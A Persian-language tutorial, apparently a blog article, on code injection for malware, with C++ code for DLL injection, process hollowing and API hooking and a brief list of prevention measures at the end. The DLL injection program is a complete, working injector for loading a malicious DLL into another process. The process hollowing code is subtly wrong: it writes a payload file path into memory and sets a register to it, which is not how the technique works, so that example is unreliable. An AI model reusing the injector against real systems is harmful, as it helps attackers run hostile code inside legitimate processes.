آموزش Code Injection برای اجرای شل کد در بدافزار ها

تزریق کد (Code Injection) یکی از تکنیک‌های رایج در حملات سایبری است که هکرها با استفاده از آن می‌توانند کد مخرب خود را در برنامه‌های معتبر و مجاز اجرا کنند. این حملات می‌توانند منجر به دسترسی غیرمجاز به سیستم، افشای اطلاعات حساس و انجام اقدامات مخرب شوند. در این مقاله، به بررسی مفاهیم، تکنیک‌ها و روش‌های جلوگیری از تزریق کد می‌پردازیم.

تعریف تزریق کد

تزریق کد به معنای وارد کردن و اجرای کد مخرب در یک برنامه یا فرآیند معتبر سیستم است. این حملات معمولاً از طریق بهره‌برداری از ضعف‌های امنیتی در نرم‌افزارها و سیستم‌ها انجام می‌شوند. تکنیک‌های مختلفی برای تزریق کد وجود دارد که در ادامه به بررسی سه تکنیک رایج می‌پردازیم:

1. DLL Injection
2. Process Hollowing
3. API Hooking

1. تزریق DLL (DLL Injection)

تزریق DLL یکی از تکنیک‌های تزریق کد است که هکرها با استفاده از آن می‌توانند یک فایل DLL مخرب را به یک فرآیند معتبر تزریق کنند. این روش به هکرها اجازه می‌دهد تا کد مخرب خود را در فضای آدرس فرآیند هدف اجرا کنند.

مراحل تزریق DLL

1. ایجاد DLL مخرب: ابتدا هکر یک فایل DLL مخرب ایجاد می‌کند که حاوی کد مخرب است.
2. دستیابی به فرآیند هدف: سپس هکر به فرآیند هدف دسترسی پیدا می‌کند.
3. تزریق DLL: در نهایت، هکر فایل DLL مخرب را به فرآیند هدف تزریق می‌کند و کد مخرب را اجرا می‌کند.

مثال و کد

در این مثال، نحوه تزریق یک DLL به یک فرآیند معتبر با استفاده از زبان برنامه‌نویسی C++ نشان داده شده است.

#include <windows.h>
#include <iostream>
/**************************************************
 * Author       : Ebrahim Shafiei (EbraSha)
 * Email        : [email protected]
 * *************************************************
 */


bool InjectDLL(DWORD dwProcessId, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProcess == NULL) {
        std::cerr << "Failed to open process: " << GetLastError() << std::endl;
        return false;
    }

    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemoteMemory == NULL) {
        std::cerr << "Failed to allocate memory in remote process: " << GetLastError() << std::endl;
        CloseHandle(hProcess);
        return false;
    }

    if (!WriteProcessMemory(hProcess, pRemoteMemory, (LPVOID)dllPath, strlen(dllPath) + 1, NULL)) {
        std::cerr << "Failed to write memory in remote process: " << GetLastError() << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return false;
    }

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "Failed to create remote thread: " << GetLastError() << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return false;
    }

    WaitForSingleObject(hThread, INFINITE);

    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return true;
}

int main() {
    DWORD processId = 1234; // ID of the target process
    const char* dllPath = "C:\\path\\to\\malicious.dll"; // Path to malicious DLL

    if (InjectDLL(processId, dllPath)) {
        std::cout << "DLL injected successfully!" << std::endl;
    } else {
        std::cerr << "DLL injection failed." << std::endl;
    }

    return 0;
}

2. هالوینگ فرآیند (Process Hollowing)

هالوینگ فرآیند یک تکنیک تزریق کد پیشرفته است که در آن هکر یک فرآیند جدید ایجاد می‌کند و سپس فضای حافظه آن را با کد مخرب خود جایگزین می‌کند.

مراحل هالوینگ فرآیند

1. ایجاد فرآیند جدید: ابتدا هکر یک فرآیند جدید به حالت تعلیق ایجاد می‌کند.
2. حذف کد اصلی: سپس کد اصلی فرآیند جدید را از فضای حافظه آن حذف می‌کند.
3. تزریق کد مخرب: در نهایت، هکر کد مخرب خود را در فضای حافظه فرآیند جدید قرار می‌دهد و فرآیند را از حالت تعلیق خارج می‌کند.

مثال و کد

در این مثال، نحوه اجرای هالوینگ فرآیند با استفاده از زبان برنامه‌نویسی C++ نشان داده شده است.

#include <windows.h>
#include <iostream>
/**************************************************
 * Author       : Ebrahim Shafiei (EbraSha)
 * Email        : [email protected]
 * *************************************************
 */
 
bool ProcessHollowing(const char* targetPath, const char* payloadPath) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessA(targetPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        std::cerr << "Failed to create process: " << GetLastError() << std::endl;
        return false;
    }

    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(pi.hThread, &ctx)) {
        std::cerr << "Failed to get thread context: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 0);
        return false;
    }

    LPVOID pRemoteMemory = VirtualAllocEx(pi.hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pRemoteMemory == NULL) {
        std::cerr << "Failed to allocate memory in remote process: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 0);
        return false;
    }

    if (!WriteProcessMemory(pi.hProcess, pRemoteMemory, payloadPath, strlen(payloadPath) + 1, NULL)) {
        std::cerr << "Failed to write memory in remote process: " << GetLastError() << std::endl;
        VirtualFreeEx(pi.hProcess, pRemoteMemory, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        return false;
    }

    ctx.Eax = (DWORD)pRemoteMemory;
    if (!SetThreadContext(pi.hThread, &ctx)) {
        std::cerr << "Failed to set thread context: " << GetLastError() << std::endl;
        VirtualFreeEx(pi.hProcess, pRemoteMemory, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        return false;
    }

    if (ResumeThread(pi.hThread) == -1) {
        std::cerr << "Failed to resume thread: " << GetLastError() << std::endl;
        VirtualFreeEx(pi.hProcess, pRemoteMemory, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        return false;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return true;
}

int main() {
    const char* targetPath = "C:\\Windows\\System32\\notepad.exe"; // The path of the target process
    const char* payloadPath = "C:\\path\\to\\payload.exe"; // The path to the malicious executable file

    if (ProcessHollowing(targetPath, payloadPath)) {
        std::cout << "Process hollowing succeeded!" << std::endl;
    } else {
        std::cerr << "Process hollowing failed." << std::endl;
    }

    return 0;
}

3. قلاب‌گذاری API (API Hooking)

قلاب‌گذاری API یک تکنیک است که در آن هکرها فراخوانی‌های تابعی یک برنامه معتبر را به توابع مخرب خود تغییر مسیر می‌دهند. این روش به هکرها اجازه می‌دهد تا رفتار برنامه را تغییر دهند یا اطلاعات حساسی را که از طریق این توابع منتقل می‌شوند، دریافت کنند.

مراحل قلاب‌گذاری API

1. یافتن آدرس تابع هدف: ابتدا هکر آدرس تابع API هدف را پیدا می‌کند.
2. ایجاد تابع قلاب: سپس هکر یک تابع قلاب ایجاد می‌کند که وظیفه انجام عملیات مخرب را دارد.
3. تغییر آدرس تابع: در نهایت، هکر آدرس فراخوانی تابع API را به آدرس تابع قلاب خود تغییر می‌دهد.

مثال و کد

در این مثال، نحوه قلاب‌گذاری API با استفاده از زبان برنامه‌نویسی C++ و کتابخانه Microsoft Detours نشان داده شده است.

/**************************************************
 * Author       : Ebrahim Shafiei (EbraSha)
 * Email        : [email protected]
 * *************************************************
 */
#include <windows.h>
#include <detours.h>
#include <iostream>

static int (WINAPI *TrueMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) = MessageBoxA;

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
return TrueMessageBoxA(hWnd, "This is a hooked message!", lpCaption, uType);
}

bool HookAPI() {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)TrueMessageBoxA, HookedMessageBoxA);
    if (DetourTransactionCommit() == NO_ERROR) {
        return true;
    } else {
        return false;
    }
}

int main() {
    if (HookAPI()) {
        MessageBoxA(NULL, "Original message", "Hooked!", MB_OK);
    } else {
        std::cerr << "Failed to hook API." << std::endl;
    }

    return 0;
}

راه‌های جلوگیری از تزریق کد

برای جلوگیری از تزریق کد، می‌توان اقدامات زیر را انجام داد:

1. به‌روزرسانی مداوم نرم‌افزارها: اطمینان از به‌روزرسانی مداوم نرم‌افزارها و سیستم‌ها برای برطرف کردن ضعف‌های امنیتی.
2. استفاده از مکانیزم‌های امنیتی: استفاده از مکانیزم‌های امنیتی مانند DEP (Data Execution Prevention) و ASLR (Address Space Layout Randomization).
3. اعتبارسنجی و مدیریت دسترسی: اعتبارسنجی دقیق ورودی‌ها و مدیریت دسترسی‌ها برای جلوگیری از اجرای کدهای مخرب.

تزریق کد یک تهدید جدی برای امنیت سیستم‌ها و نرم‌افزارها است. با آگاهی از تکنیک‌های مختلف تزریق کد و اتخاذ اقدامات پیشگیرانه، می‌توان از این حملات جلوگیری کرد و امنیت سیستم‌ها را افزایش داد.